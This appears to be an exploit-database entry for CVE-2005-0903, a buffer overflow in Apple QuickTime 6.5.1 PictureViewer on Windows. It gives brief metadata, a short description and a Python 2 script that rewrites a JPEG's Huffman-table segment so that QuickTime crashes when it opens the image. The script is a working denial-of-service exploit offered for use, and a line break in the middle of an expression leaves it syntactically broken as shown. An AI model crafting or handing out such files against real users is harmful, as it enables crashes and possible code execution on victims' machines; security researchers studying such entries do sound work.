[] NeoSense

Apple QuickTime 6.5.1 - PictureViewer Buffer Overflow

Author: liquid@cyberspace.org
type: dos
platform: windows
port: 
date_added: 2005-03-26 
date_updated: 2013-05-07 
verified: 1 
codes: CVE-2005-0903;OSVDB-15295 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/12905/info

Apple QuickTime is reportedly prone to a buffer overflow when viewing malformed image files.

This issue was reported to exist in QuickTime 6.5.1 for Windows. Other versions may also be affected.

import struct
f=open(raw_input("enter the path to the input file:\n"),"rb")
a=f.read()
f.close()
n=a.index("\xff\xc4")
b=a[:n]+"\xff\xc4\x02\x11\x00\xff\xff"+"\x00"*14+"\x01"*510
+a[n+2+struct.unpack("!H",a[n+2:n+4])[0]:]
f=open(raw_input("enter the path to the output file:\n"),"wb")
f.write(b)
f.close()